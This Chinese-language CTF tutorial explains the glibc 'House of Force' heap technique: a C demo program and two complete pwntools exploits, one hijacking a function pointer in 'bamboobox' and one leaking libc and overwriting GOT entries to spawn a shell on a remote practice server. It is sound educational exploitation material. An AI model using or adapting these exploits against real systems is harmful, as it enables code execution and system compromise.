house of force 是一种针对 top chunk 的利用手法,它是通过修改 top_chunk 的 size 域从而完成一次几乎是任意地址的内存分配
堆溢出写 top_chunk
2.23
——2.29
可分配任意大小的 chunk
需要泄露或已知堆地址
可以修改 top_chunk 的 size 域
劫持 top_chunk 到任意地址
对 top_chunk
的利用,过程如下:
申请 chunk A
写 A
的时候溢出,修改 top_chunk
的 size
为很大的数
分配很大的 chunk
到任意已知地址
注意,在 glibc-2.29
后加入了检测,house of force
基本失效:
当程序需要分配一块 chunk,而 tcache 和各个 bin 中都没有对应大小的堆块的话就会从 top_chunk 中分割一个对应大小的 chunk 出来,我们先看下分割 top_chunk 的相关代码:
// 获取当前的top chunk,并计算其对应的大小 // nb 为我们想要分配的 chunk 大小 victim = av->top; //获取top_chunk地址 size = chunksize(victim); //获取top_chunk大小 // 如果在分割之后,其大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。 if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) { remainder_size = size - nb; //分配后的大小 remainder = chunk_at_offset(victim, nb); //分配后top_chunk的地址 av->top = remainder; //下面的两个set是跟完成分配后的top_chunk和分割出去的chunk设置chunk_header set_head(victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); set_head(remainder, remainder_size | PREV_INUSE); check_malloced_chunk(av, victim, nb); void *p = chunk2mem(victim); alloc_perturb(p, bytes); return p; }
从上面代码中可以提取出分割 top_chunk 的关键步骤:
比较 top_chunk.size >= nb + MINSIZE,即 top_chunk 能否有足够的空间去分割一个 nb 大小的 chunk
设置 top_chunk 分割后的大小和 位置
上面这两步是存在漏洞的:
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
首先这里比较是用无符号长整型进行比较的,并且在分割时只有这一个检查;
remainder_size = size - nb; //分配后的大小 remainder = chunk_at_offset(victim, nb); //分配后top_chunk的地址 av->top = remainder;
但是在分割后设置 top_chunk 的大小和位置时,是采用的有符号数;
那么问题就来了>_<
在分割后av->top = av->top + nb
,如果可以控制我们想要分配 chunk 的大小 nb,那么我们就可以控制 av->top
了也就是可以控制 top_chunk 的位置,但是这里有两个问题:
一般而言我们想要控制的位置如 malloc_hook、got 等等都距离 top_chunk 很远,那么这时就需要 nb 很大,那么这时候很可以超过 top_chunk 的大小从而不满足 if 条件
有时候我们想利用的位置在低于 top_chunk 的位置,那么这时候就需要 nb 为负数,而在 if 判断里,负数会转换为无符号数,那么就是一个大数,从而也可能导致不满足 if 条件
那怎么办呢?可别忘了,在 if 条件中,top_chunk 的 size 也会被转换成无符号数,那么如果我们可以把 top_chunk 的 size 给修改成 -1,那么就可以绕过了。—— -1 的补码二进制全为1,转换为无符号数就是最大的
通过对原理的分析,利用方式就很清晰了:
存在漏洞可以修改 top_chunk 的 size 域为 -1
计算我们想要控制的位置+0x10到 top_chunk 的偏移即 nb:计算方式 下面的 new_top、old_top 指的块地址
The evil_size is calulcated as (nb is the number of bytes requested + space for metadata): * new_top = old_top + nb * nb = new_top - old_top * req + 2sizeof(long) = new_top - old_top * req = new_top - old_top - 2sizeof(long) * req = dest - 2sizeof(long) - old_top - 2sizeof(long) * req = dest - old_top - 4*sizeof(long)
从计算方式可以知道,我们还需要知道 old_top 的地址,所以可能需要泄漏堆地址
申请 nb 大小的 chunk 触发 hof
这里还有一些注意点:
1、这里得到的top_chunk需要移动的距离由于要通过request2size,就需要满足对齐参数MALLOC_ALIGN 实际上,对齐参数(MALLOC_ALIGNMENT)大小的设定需要满足以下两点:
必须是2的幂
必须是void *的整数倍
2、new_top 的 size 会被修改,这里如果修改了一些不能随意修改的值就会报错
glibc-2.23 eg:
#include#include #include #include #include #include char bss_var[] = "This is a string that we want to overwrite."; int main(int argc , char* argv[]) { intptr_t *p1 = malloc(256); intptr_t *old_top = &p1[32]; *(intptr_t *)((char *)old_top + sizeof(long)) = -1; unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)old_top; void *new_ptr = malloc(evil_size); void* ctr_chunk = malloc(100); fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk); fprintf(stderr, "... old string: %s\n", bss_var); strcpy(ctr_chunk, "YEAH!!!"); fprintf(stderr, "... new string: %s\n", bss_var); assert(ctr_chunk == bss_var); }
先创建大小为 0x110 的 chunk_p1,然后修改 top_chunk 的 size 域为 -1
然后再申请一块 nb 大小的 chunk 去触发 hof
我们再去申请一块 ctr_chunk,那么就会从 0x601050 这里开始分配,那么我们就可以控制 bss_var 变量了。
这题之前 unlink 篇章讲过,unlink 可以直接拿 shell;但是这个题目存在后面函数,且在程序一开始会创建一个 0x20 大小的 chunk 去存储两个函数指针
v4 = malloc(0x10uLL); *v4 = hello_message; v4[1] = goodbye_message;
在程序开始时调用 v4(),程序退出时调用 v4[1]()
(*v4)(); case 5: v4[1](); exit(0);
这题程序存在堆溢出,且只限制了申请 chunk 的大小不为0;所以这里直接 hof 去控制上面 v4指针指向的这个chunk,然后把v4[1] 给修改为后门函数,然后退出程序就会执行后门函数了
exp:这个方法耽误了我好长时间,不知道为啥如果我一开始申请的是 0x20 的大小 chunk 的话在malloc(-80)程序就会异常退出,但是没报啥错,我这里 gdb 跟着脚本调试也有些问题好像>_<,然后我后面改成 0x30 就通了,我真的醉了,也不知道啥原理,太菜了还是
from pwn import * if args['DEBUG']: context.log_level = 'debug' io = process("./bamboobox") elf = ELF("./bamboobox") libc = elf.libc def debug(): gdb.attach(io) pause() def cmd(index): io.sendlineafter(b'Your choice:', str(index).encode()) def add(size, name): cmd(2) io.sendlineafter(b'length of item name:', str(size).encode()) io.sendafter(b'name of item:', name) def show(): cmd(1) def change(index, size, name): cmd(3) io.sendlineafter(b'index of item:', str(index).encode()) io.sendlineafter(b'length of item name:', str(size).encode()) io.sendafter(b'name of the item:', name) def delete(index): cmd(4) io.sendlineafter(b'index of item:', str(index).encode()) def exp(): magic = 0x400D49 """ add(0x10, b'A') payload = b'A'*0x10 + p64(0) + p64(0xFFFFFFFFFFFFFFFF) change(0, len(payload), payload) add(-80, b'A') ==> 异常退出,但不知道啥错误 """ add(0x20, b'A') payload = b'A'*0x20 + p64(0) + p64(0xFFFFFFFFFFFFFFFF) change(0, len(payload), payload) #debug() add(-96, b'A') #debug() add(0x10, p64(magic)*2) #debug() io.sendline(b'5') io.interactive() if __name__ == "__main__": exp()
贴个exp:
from pwn import * context(arch = 'i386', os = 'linux') #context.log_level = 'debug' local = False if local: io = process("./pwn") libc = elf.libc else: io = remote('node4.buuoj.cn', 25228) libc = ELF("/home/isidro/pwnh/buuctf/libc/u16-x32.so") elf = ELF("./pwn") def debug(): gdb.attach(io) pause() sd = lambda s : io.send(s) sda = lambda s, n : io.sendafter(s, n) sl = lambda s : io.sendline(s) sla = lambda s, n : io.sendlineafter(s, n) rc = lambda n : io.recv(n) rut = lambda s : io.recvuntil(s, drop=True) ruf = lambda s : io.recvuntil(s, drop=False) addr = lambda s : u32(io.recvuntil(s, drop=True).ljust(4, b'\x00')) byte = lambda n : str(n).encode() sh = lambda : io.interactive() menu = b'option--->>\n' def add(size, content): sla(menu, b'1') sla(b'note content:\n', byte(size)) sda(b'content:\n', content) def dele(idx): sla(menu, b'4') sla(b'the id:\n', byte(idx)) def edit(idx, content): sla(menu, b'3') sla(b'the id:\n', byte(idx)) sda(b'content:\n', content) payload = b'A'*61 + b'XYZ' sda(b'name:\n', payload) rut(b'XYZ') heap_base = addr(b'!') - 0x8 print("heap_base : ", hex(heap_base)) sda(b'Org:\n', b'A'*0x40) sla(b'Host:\n', p32(0xFFFFFFFF)) add(0x10, b'A\n') add(0x10, b'A\n') add(0x10, b'A\n') old_top = heap_base + 0x120 chunk_ptr_arr = 0x0804B120 offset = chunk_ptr_arr - old_top - 0x10 print("old_top : ", hex(old_top)) print("offset : ", hex(offset)) add(offset, b'A\n') free_got = elf.got['free'] atoi_got = elf.got['atoi'] printf_got = elf.got['printf'] payload = p32(free_got) + p32(printf_got) + p32(atoi_got) + b'\n' add(0x28, payload) echo = 0x08048779 edit(0, p32(echo)+b'\n') dele(1) rut(b'Hey ') libc.address = u32(rc(4)) - libc.symbols['printf'] print("libc_base : ", hex(libc.address)) #debug() system = libc.symbols['system'] edit(2, p32(system)+b'\n') sla(menu, b'/bin/sh\x00') #debug() sh()